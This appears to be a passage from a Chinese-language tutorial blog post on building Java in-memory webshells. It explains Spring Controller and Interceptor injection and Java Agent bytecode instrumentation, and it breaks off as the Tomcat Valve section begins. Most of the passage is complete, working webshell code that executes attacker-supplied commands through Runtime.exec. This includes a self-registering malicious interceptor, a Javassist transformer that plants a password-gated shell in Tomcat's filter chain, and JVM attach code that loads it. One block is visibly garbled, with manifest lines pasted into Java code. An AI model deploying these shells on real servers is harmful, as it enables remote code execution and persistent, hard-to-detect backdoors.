    import org.springframework.web.context.request.RequestContextHolder;
    import org.springframework.web.context.request.ServletRequestAttributes;
    import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
    import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
    import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.IOException;
    import java.io.InputStream;
    import java.lang.reflect.Method;
    import java.util.Scanner;

    @RestController
    public class EvilController {

    @RequestMapping("/inject")
    public String inject() throws NoSuchMethodException {
    String controllerPath = "/cmisl";
    WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
    RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
    PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(controllerPath);
    RequestMappingInfo requestMappingInfo = new RequestMappingInfo(patternsRequestCondition, null, null, null, null, null, null);
    Method cmd = InjectController.class.getDeclaredMethod("cmd");
    InjectController injectController = new InjectController();
    requestMappingHandlerMapping.registerMapping(requestMappingInfo, injectController, cmd);
    return "[+] Inject successfully!<br>[+] shell url: http://localhost:8080" +
    controllerPath + "?cmd=ipconfig";
    }

    @RestController
    public static class InjectController {
    public void cmd() throws IOException {
    HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
    HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.getRequestAttributes())).getResponse();
    response.setCharacterEncoding("GBK");
    if (request.getParameter("cmd") != null) {
    boolean isLinux = true;
    String osTyp = System.getProperty("os.name");
    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
    isLinux = false;
    }
    String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
    InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
    Scanner s = new Scanner(inputStream, "GBK").useDelimiter("\\A");
    String output = s.hasNext() ? s.next() : "";
    response.getWriter().write(output);
    response.getWriter().flush();
    response.getWriter().close();
    }
    }
    }
    }

Interceptor型内存马

过滤器和拦截器的使用及其区别

主要区别 拦截器 过滤器
机制 Java 反射机制 函数回调
是否依赖 Servlet容器 不依赖 依赖
作用范围 对 action 请求起作用 对几乎所有请求起作用
是否可以访问上下文和值栈 可以访问 不能访问
调用次数 可以多次被调用 在容器初始化时只被调用一次
IOC 容器中的访问 可以获取 IOC 容器中的各个 bean (基于FactoryBean 接口) 不能在 IOC 容器中获取 bean

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package InterceptorMemoryShell.ShellDemo;

import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.util.Scanner;

public class TestInterceptor extends HandlerInterceptorAdapter {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if(cmd != null){
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c",
request.getParameter("cmd")} : new String[]{"cmd.exe", "/c",
request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.setCharacterEncoding("GBK");
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
return true;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
package InterceptorMemoryShell.ShellDemo;

import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new TestInterceptor()).addPathPatterns("/**");
}
}

获取RequestMappingHandlerMapping

因为是在AbstractHandlerMapping类中,用addInterceptor向拦截器chain中添加的。该类是抽象类,可以获取其实现类RequestMappingHandlerMapping。一样的,前面提了四种方法。

1
2
3
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

反射获取adaptedInterceptors

获取adaptedInterceptors,private属性,使用反射。并且传入RequestMappingHandlerMapping初始化

1
2
3
4
5
Field field = null;
field = RequestMappingHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = null;
adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);

添加恶意Interceptors

1
adaptInterceptors.add(new InjectEvilInterceptor("a"));

恶意Interceptor:需要实现HandlerInterceptor接口,通过重写preHandle进行RCE

分析

Spring MVC 使用 org.springframework.web.servlet.DispatcherServlet#doDispatch 方法进入自己的处理逻辑

image-20240726042115015

通过 getHandler 方法,循环遍历 handlerMappings 属性,匹配获取本次请求的 HandlerMapping。确定当前请求的处理器 (handler) 和执行链

1
2
3
4
5
6
7
8
9
10
11
protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
if (this.handlerMappings != null) {
for (HandlerMapping mapping : this.handlerMappings) {
HandlerExecutionChain handler = mapping.getHandler(request);
if (handler != null) {
return handler;
}
}
}
return null;
}

来到 HandlerMapping 的 getHandler 方法,首先会用getHandlerInternal方法获取handler,如果为空,会使用getDefaultHandler方法获取默认handler处理器,如果 handler 是一个字符串,则视其为 Bean 名称,并从应用上下文中获取相应的 Bean。然后用if判断确保请求中有缓存的路径信息供拦截器和其他组件使用。之后获取处理器执行链,包括拦截器,随后返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public final HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
Object handler = getHandlerInternal(request);
if (handler == null) {
handler = getDefaultHandler();
}
if (handler == null) {
return null;
}

if (handler instanceof String) {
String handlerName = (String) handler;
handler = obtainApplicationContext().getBean(handlerName);
}

if (!ServletRequestPathUtils.hasCachedPath(request)) {
initLookupPath(request);
}

HandlerExecutionChain executionChain = getHandlerExecutionChain(handler, request);

......

return executionChain;
}

这么看下来,这个 getHandlerExecutionChain 方法很重要。

如果 handler 已经是一个 HandlerExecutionChain,则直接使用,否则创建一个新的 HandlerExecutionChain。 遍历所有适配的拦截器。如果拦截器是 MappedInterceptor 类型,则检查它是否适用于当前请求,匹配则将拦截器添加到 HandlerExecutionChain。如果不是 MappedInterceptor 类型,直接添加到 HandlerExecutionChain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
HandlerExecutionChain chain = (handler instanceof HandlerExecutionChain ?
(HandlerExecutionChain) handler : new HandlerExecutionChain(handler));

for (HandlerInterceptor interceptor : this.adaptedInterceptors) {
if (interceptor instanceof MappedInterceptor) {
MappedInterceptor mappedInterceptor = (MappedInterceptor) interceptor;
if (mappedInterceptor.matches(request)) {
chain.addInterceptor(mappedInterceptor.getInterceptor());
}
} else {
chain.addInterceptor(interceptor);
}
}
return chain;
}

回到doDispatch方法,之后会调用 HandlerExecutionChain 的 applyPreHandle 方法,遍历其中的 HandlerInterceptor 实例并调用其 preHandle 方法执行拦截器逻辑。

编写内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package InterceptorMemoryShell.ShellDemo;

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;

public class EvilInterceptor implements HandlerInterceptor {
static {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");

field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
EvilInterceptor evilInterceptor = new EvilInterceptor();
adaptInterceptors.add(evilInterceptor);
}catch (Exception e){}
}

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if(cmd != null){
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c",
request.getParameter("cmd")} : new String[]{"cmd.exe", "/c",
request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.setCharacterEncoding("GBK");
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
return true;
}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package InterceptorMemoryShell.ShellDemo;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@Controller
@RequestMapping("/InjectInterceptor")
public class EvilController {
@GetMapping
public void index(HttpServletRequest request, HttpServletResponse response) {
try {
Class.forName("InterceptorMemoryShell.ShellDemo.EvilInterceptor");
response.getWriter().println("Inject done!");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Java Agent 内存马

Java Agent 是一种特殊的 Java 程序,用于在 JVM(Java Virtual Machine)启动时或运行时修改字节码。这种机制通常用于性能监控、日志记录、安全性检测和其他需要对字节码进行动态修改或增强的场景。

Java Agent 的主要特点和功能包括:

  1. 字节码操作:Java Agent 可以在类加载之前或之后修改类的字节码。通过这种方式,开发者可以在不改变源代码的情况下增强应用程序的功能。

  2. Instrumentation API:Java 提供了 java.lang.instrument 包,该包包含了与 Java Agent 相关的一些核心类和接口,如 Instrumentation 接口。通过 Instrumentation 接口,Java Agent 可以获取有关 JVM 中加载的类的信息,并对其进行修改。

  3. 启动参数:Java Agent 通常通过 JVM 启动参数 -javaagent 来指定。例如:

    1
    java -javaagent:myagent.jar -jar myapp.jar

    在这种情况下,myagent.jar 中包含了一个实现了 Java Agent 的类。

  4. Premain 和 Agentmain 方法:Java Agent 类通常需要实现 premain 方法(在 JVM 启动时调用)或者 agentmain 方法(在 JVM 运行时通过附加机制调用,如 Java Attach API)。示例如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    public class MyAgent {
    public static void premain(String agentArgs, Instrumentation inst) {
    // 在 JVM 启动时执行的代码
    }

    public static void agentmain(String agentArgs, Instrumentation inst) {
    // 在 JVM 运行时通过附加机制执行的代码
    }
    }
  5. 用途

    • 性能监控:通过修改字节码插入监控逻辑,收集性能数据,分析应用程序的运行效率。
    • 安全性检测:在类加载时插入安全性检查逻辑,防止非法操作。
    • 日志记录:动态地在方法调用前后插入日志记录代码,便于调试和问题排查。
    • 动态代理:在运行时为某些类生成代理对象,增强其功能。

对于 Agent(代理)来讲,其大致可以分为两种,一种是在 JVM 启动前加载的premain-Agent,另一种是 JVM 启动之后加载的 agentmain-Agent。这里我们可以将其理解成一种特殊的 Interceptor(拦截器),如下图

Premain-Agent

image-20240728140005483

agentmain-Agent

image-20240728140034937

Java Agent示例

premain-Agent

新建一个模块premain-Agent

1
2
3
4
5
6
7
8
9
10
11
12
package cmisl;

import java.lang.instrument.Instrumentation;

public class MyAgent {
public static void premain(String agentArgs, Instrumentation inst) {
SystManifest-Version: 1.0
Premain-Class: cmisl.MyAgent
Can-Retransform-Classes: true
em.out.println("Hello from MyAgent!");
}
}

resource目录下创建META-INF目录,在META-INF目录里创建文件MANIFEST.MF,内容如下。注意要用文件要用换行结尾

1
2
3
4
Manifest-Version: 1.0
Premain-Class: cmisl.MyAgent
Can-Retransform-Classes: true

到项目结构里创建工件

image-20240728134003621

选择刚刚创建的模块

image-20240728134050126

image-20240728134130783

image-20240728134205234

成功在目录out/artifacts/premain_Agent_jar/premain-Agent.jar获得jar包。

创建一个Hello类测试。

1
2
3
4
5
6
7
8
package cmisl;

public class Hello {
public static void main(String[] args) {
System.out.println("Hello World!");
}
}

image-20240728134541806

image-20240728135100958

配置好应用程序添加虚拟机选项

image-20240728135254650

虚拟机选项填入-javaagent:"out/artifacts/premain_Agent_jar/premain-Agent.jar"

image-20240728135436330

接下来运行我们Hello类。可以看到先输出了MyAgent#premain方法里面的内容再输出Hello#main方法内容

image-20240728135526046

agentmain-Agent

在此之前,我们先要了解关于JVM的两个类

VirtualMachine类

com.sun.tools.attach.VirtualMachine 类是 JDK 提供的 Attach API 的一部分,它允许开发者通过 PID 远程连接到目标 JVM,并执行各种操作,如获取 JVM 信息、生成内存转储、线程转储、类信息统计等。以下是该类的主要方法:

  • attach(String pid): 通过传入目标 JVM 的 PID,远程连接到该 JVM。
  • loadAgent(String agentPath): 向目标 JVM 注册一个代理程序(agent),该 agent 可以在类加载前改变类的字节码,或在类加载后重新加载。
  • list(): 获取当前所有运行中的 JVM 列表。
  • detach(): 解除与目标 JVM 的连接。
VirtualMachineDescriptor 类

com.sun.tools.attach.VirtualMachineDescriptor 类用于描述特定的虚拟机,提供方法来获取虚拟机的各种信息,如 PID、虚拟机名称等。以下是一个获取特定虚拟机 PID 的示例:

1
2
3
4
5
6
7
8
9
10
11
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

public class VirtualMachineExample {
public static void main(String[] args) {
// 获取所有运行中的 JVM 列表
for (VirtualMachineDescriptor vmd : VirtualMachine.list()) {
System.out.println("JVM PID: " + vmd.id() + ", Name: " + vmd.displayName());
}
}
}
agentmain-Agent Demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
package cmisl;

import java.lang.instrument.Instrumentation;

import static java.lang.Thread.sleep;

public class Java_Agent_agentmain {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
while (true){
System.out.println("调用了agentmain-Agent!");
sleep(3000);
}
}
}

MANIFEST.MF,注意换行结尾

1
2
3
Manifest-Version: 1.0
Agent-Class: cmisl.Java_Agent_agentmain

按之前方法打包成jar包。

先运行目标 JVM,再运行 inject 类进行注入,最后结果如下,一开始是只输出 hello, world 的,运行 inject 之后就插入了 agent-main 方法:

image-20240729152515441

Instrumentation

从JDK 1.5开始,Java引入了Instrumentation(Java Agent API)和JVMTI(JVM Tool Interface)功能,允许开发者在JVM加载某个类文件之前对其字节码进行修改,同时也支持对已加载的类字节码进行重新加载(Retransform)。

开发者可以在运行一个普通Java程序(包含main函数的Java类)时,通过–javaagent参数指定一个包含Instrumentation代理的特定JAR文件来启动Instrumentation代理程序。在类的字节码加载到JVM之前,代理程序会调用ClassFileTransformer的transform方法,从而实现对原类方法的修改,进而实现面向切面编程(AOP)的功能。

在字节码加载前进行注入有两种常见的方法:重写ClassLoader或利用Instrumentation。重写ClassLoader的方法需要对现有代码进行一定程度的修改,而使用Instrumentation则可以做到完全无侵入。基于这种特性,衍生出了多种新型技术和产品,其中RASP(Runtime Application Self-Protection)就是一个典型的例子。

Instrumentation 接口

java.lang.instrument.Instrumentation 是 Java 提供的监测运行在 JVM 程序的 API 。利用 Instrumentation 我们可以实现如下功能:

类方法 功能
void addTransformer(ClassFileTransformer transformer, boolean canRetransform) 添加一个 Transformer,是否允许 reTransformer
void addTransformer(ClassFileTransformer transformer) 添加一个 Transformer
boolean removeTransformer(ClassFileTransformer transformer) 移除一个 Transformer
boolean isRetransformClassesSupported() 检测是否允许 reTransformer
void retransformClasses(Class<?>... classes) 重加载(retransform)类
boolean isModifiableClass(Class<?> theClass) 确定一个类是否可以被 retransformation 或 redefinition 修改
Class[] getAllLoadedClasses() 获取 JVM 当前加载的所有类
Class[] getInitiatedClasses(ClassLoader loader) 获取指定类加载器下所有已经初始化的类
long getObjectSize(Object objectToSize) 返回指定对象大小
void appendToBootstrapClassLoaderSearch(JarFile jarfile) 添加到 BootstrapClassLoader 搜索
void appendToSystemClassLoaderSearch(JarFile jarfile) 添加到 SystemClassLoader 搜索
boolean isNativeMethodPrefixSupported() 是否支持设置 native 方法 Prefix
void setNativeMethodPrefix(ClassFileTransformer transformer, String prefix) 通过允许重试,将前缀应用到名称,此方法修改本机方法解析的失败处理
boolean isRedefineClassesSupported() 是否支持类 redefine
void redefineClasses(ClassDefinition... definitions) 重定义(redefine)类
ClassFileTransformer 接口

ClassFileTransformer 是Java Instrumentation API的一部分,它的定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public interface ClassFileTransformer {


/**
* 类文件转换方法,重写transform方法可获取到待加载的类相关信息
*
* @param loader 定义要转换的类加载器;如果是引导加载器,则为 null
* @param className 类名,如:java/lang/Runtime
* @param classBeingRedefined 如果是被重定义或重转换触发,则为重定义或重转换的类;如果是类加载,则为 null
* @param protectionDomain 要定义或重定义的类的保护域
* @param classfileBuffer 类文件格式的输入字节缓冲区(不得修改)
* @return 返回一个通过ASM修改后添加了防御代码的字节码byte数组。
*/
byte[] transform( ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer)
throws IllegalClassFormatException;
}

transform 方法:这是ClassFileTransformer接口中唯一的方法。当一个类被加载或重新定义时,JVM会调用这个方法。

  • **loader**:加载这个类的ClassLoader
  • **className**:类的名称,斜杠分隔,如java/lang/String
  • **classBeingRedefined**:如果这是一个重新定义的类,则为该类对象;否则为 null
  • **protectionDomain**:类的保护域。
  • **classfileBuffer**:类文件的字节码。
  • 返回值:返回修改后的字节码(如果不需要修改,则返回 null)。

重写 transform() 方法需要注意以下事项:

  1. ClassLoader 如果是被 Bootstrap ClassLoader (引导类加载器)所加载那么 loader 参数的值是空。
  2. 修改类字节码时需要特别注意插入的代码在对应的 ClassLoader 中可以正确的获取到,否则会报 ClassNotFoundException ,比如修改 java.io.FileInputStream (该类由 Bootstrap ClassLoader 加载)时插入了我们检测代码,那么我们将必须保证 FileInputStream 能够获取到我们的检测代码类。
  3. JVM类名的书写方式路径方式:java/lang/String 而不是我们常用的类名方式:java.lang.String
  4. 类字节必须符合 JVM 校验要求,如果无法验证类字节码会导致 JVM 崩溃或者 VerifyError (类验证错误)。
  5. 如果修改的是 retransform 类(修改已被 JVM 加载的类),修改后的类字节码不得新增方法、修改方法参数、类成员变量。
  6. addTransformer 时如果没有传入 retransform 参数(默认是 false ),就算 MANIFEST.MF 中配置了 Can-Redefine-Classes: true 而且手动调用了retransformClasses()方法也一样无法retransform。
  7. 卸载 transform 时需要使用创建时的 Instrumentation 实例。

还需要理解的是,在以下三种情形下 ClassFileTransformer.transform() 会被执行:

  1. 新的 class 被加载。
  2. Instrumentation.redefineClasses 显式调用。
  3. addTransformer 第二个参数为 true 时,Instrumentation.retransformClasses 显式调用。

在Java中,Transformer(更准确地说是ClassFileTransformer)是一个用于在类加载过程中动态修改字节码的接口。通过实现这个接口,可以在类被加载到JVM之前或重新转换时修改类的字节码。这在性能监控、代码注入、调试工具等领域非常有用。

要使用ClassFileTransformer来修改类的字节码,通常需要以下步骤:

  1. 实现ClassFileTransformer接口:提供具体的字节码修改逻辑。

  2. 添加Transformer到Instrumentation

    1
    2
    Instrumentation inst = ...; // 获取Instrumentation实例
    inst.addTransformer(new Hello_Transform(), true);//设置canRetransform参数为true,表示可以重新转换已加载的类。
  3. 重新转换需要修改的类

    1
    inst.retransformClasses(targetClass);
修改目标JVM的Class字节码

关于Javassist的内容可以参考Java 类字节码编辑 - Javassist · 攻击Java Web应用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package cmisl;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Hello_Transform implements ClassFileTransformer {

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {

//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();

//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}

//获取目标类
CtClass ctClass = classPool.get("cmisl.Sleep_Hello");
System.out.println(ctClass);

//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("hello");

//设置方法体
String body = "{System.out.println(\"Hacker!\");}";
ctMethod.setBody(body);

//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;

}catch (Exception e){
e.printStackTrace();
}
return null;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package cmisl;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class agentmain_transform {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException, UnmodifiableClassException {
Class [] classes = inst.getAllLoadedClasses();

//获取目标JVM加载的全部类
for(Class cls : classes){
if (cls.getName().equals("cmisl.Sleep_Hello")){

//添加一个transformer到Instrumentation,并重新触发目标类加载
inst.addTransformer(new Hello_Transform(),true);
inst.retransformClasses(cls);
}
}
}
}

MANIFEST.MF,注意换行结尾

1
2
3
4
5
Manifest-Version: 1.0
Agent-Class: cmisl.agentmain_transform
Can-Redefine-Classes: true
Can-Retransform-Classes: true

运行下面程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package cmisl;

import static java.lang.Thread.sleep;

public class Sleep_Hello {
public static void main(String[] args) throws InterruptedException {
while(true) {
hello();
sleep(3000);
}
}
public static void hello(){
System.out.println("Hello World!");
}
}

然后运行Inject_Agent.java,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package cmisl;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Inject_Agent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException , AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
System.out.println(vmd.displayName());
//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().equals("cmisl.Sleep_Hello")){

//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("C:\\Users\\13431\\IdeaProjects\\Demo\\out\\artifacts\\agentmain_transform_jar\\agentmain_transform.jar");
//断开JVM连接
virtualMachine.detach();
}

}
}
}

image-20240729190709312

编写Java Agent内存马

代码参考从零学习Agent内存马(五):实战证书校验破解和agent型内存马。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

/**
* @author jackliu Email:
* @description:
* @Version
* @create 2024-02-18 15:24
*/
public class AgentMain {
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
Class[] classes = inst.getAllLoadedClasses();
// 判断类是否已经加载
for (Class aClass : classes) {
if (aClass.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
System.out.println("EditClassName:" + aClass.getName());
System.out.println("EditMethodName:" + "doFilter");
// 添加 Transformer
inst.addTransformer(new memTransformer(), true);
// 触发 Transformer
inst.retransformClasses(aClass);
}
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import javassist.*;

import java.io.FileNotFoundException;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

/**
* @author jackliu Email:
* @description:
* @Version
* @create 2024-02-18 15:25
*/
public class memTransformer implements ClassFileTransformer {
// transform 方法用于对类字节码进行转换
// 参数 loader:类加载器,className:类的全限定名,classBeingRedefined:正在重新定义的类,protectionDomain:类的保护域,classfileBuffer:类的字节码
public byte[] transform(
ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) throws IllegalClassFormatException {

//需要改写的类和方法
String editClassName = "org.apache.catalina.core.ApplicationFilterChain";
String editClassName2 = editClassName.replace('.', '/');
String editMethod = "doFilter";

if (editClassName2.equals(className)){

// 从ClassPool获得CtClass对象
System.out.println("start modify class bytes !!!!!!!!!!!!");

try {
ClassPool classPool = ClassPool.getDefault();
ClassClassPath classPath = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(classPath);
final CtClass clazz;
String body = "{\n" +
" //获取request参数\n" +
" javax.servlet.http.HttpServletRequest request = $1;\n" +
" //获取response参数\n" +
" javax.servlet.http.HttpServletResponse response = $2;\n" +
" //设置编码\n" +
" request.setCharacterEncoding(\"UTF-8\");\n" +
" System.out.println(\"inject sucess\");\n" +
" String result = \"\";\n" +
" //nopass是密码\n" +
" String password = request.getParameter(\"donotget\");\n" +
" if (password != null && password.equals(\"nopass\")) {\n" +
" //cmd 是要执行的命令\n" +
" String cmd = request.getParameter(\"cmd\");\n" +
" if (cmd != null && cmd.length() > 0) {\n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
" java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();\n" +
" byte[] b = new byte[1024];\n" +
" int a = -1;\n" +
" while ((a = in.read(b)) != -1) {\n" +
" baos.write(b, 0, a);\n" +
" }\n" +
" response.getWriter().println(\"<pre>\" + new String(baos.toByteArray()) + \"</pre>\");\n" +
" }\n" +
" }\n" +
"}\n";

//通过类名获取class对象
clazz = classPool.get(editClassName);
System.out.println("CtClass from : " + clazz);
CtMethod convertToAbbr = clazz.getDeclaredMethod(editMethod);
//$1 , $2 表示方法形参的第几个参数
// 不使用setBody , 避免修改源代码
// convertToAbbr.setBody(methodBody);
//在doFiler前添加如下代码
convertToAbbr.insertBefore(body);
// 返回字节码,并且detachCtClass对象
byte[] byteCode = clazz.toBytecode();
//detach的意思是将内存中曾经被javassist加载过的Date对象移除,
// 如果下次有需要在内存中找不到会重新走javassist加载
clazz.detach();
return byteCode;
} catch (NotFoundException | CannotCompileException | FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
// 返回原始类的字节码,表示未进行任何字节码转换
return classfileBuffer;
}
}

MANIFEST.MF,注意换行结尾

1
2
3
4
5
Manifest-Version: 1.0
Agent-Class: AgentMain
Can-Redefine-Classes: true
Can-Retransform-Classes: true

打包成jar包,然后启动一个Springboot项目,然后运行下面程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package cmisl.springboot;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

/**
* @author jackliu Email:
* @description:
* @Version
* @create 2024-02-18 14:54
*/
public class Maindemo {
public static void main(String[] args) throws Exception{
// 生成jar包的绝对路径
String path = "C:\\Users\\13431\\IdeaProjects\\Demo\\out\\artifacts\\Temp_jar\\Temp.jar";
// 列出已加载的jvm
List<VirtualMachineDescriptor> list = VirtualMachine.list();
// 遍历已加载的jvm
for (VirtualMachineDescriptor v:list){

// 打印jvm的 displayName 属性
System.out.println("+++++++++++++++++++++++++");
System.out.println(v.displayName());
System.out.println("+++++++++++++++++++++++++");
// 如果 displayName 为指定的类
if (v.displayName().contains("cmisl.springboot.Application")){
// 打印pid
System.out.println("id >>> " + v.id());
// 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
VirtualMachine vm = VirtualMachine.attach(v.id());
// 将我们的 agent.jar 发送给虚拟机
vm.loadAgent(path);
// 解除链接
vm.detach();
}
}
}
}

访问http://127.0.0.1:8080/?donotget=nopass&cmd=whoami

image-20240730032703601

中间件型内存马

Valve 型内存马

在Apache Tomcat中,Valve(阀门)和Pipeline(管道)是实现请求处理的核心机制。

  • 管道(Pipeline):管道是一种处理请求的链式结构,可以看作是多个处理器的集合。当一个请求到达Tomcat时,它将通过这些处理器(Valve)进行处理。这一机制使得请求处理可以按照特定的顺序进行,即请求会依次传递给Pipeline中的各个Valve。
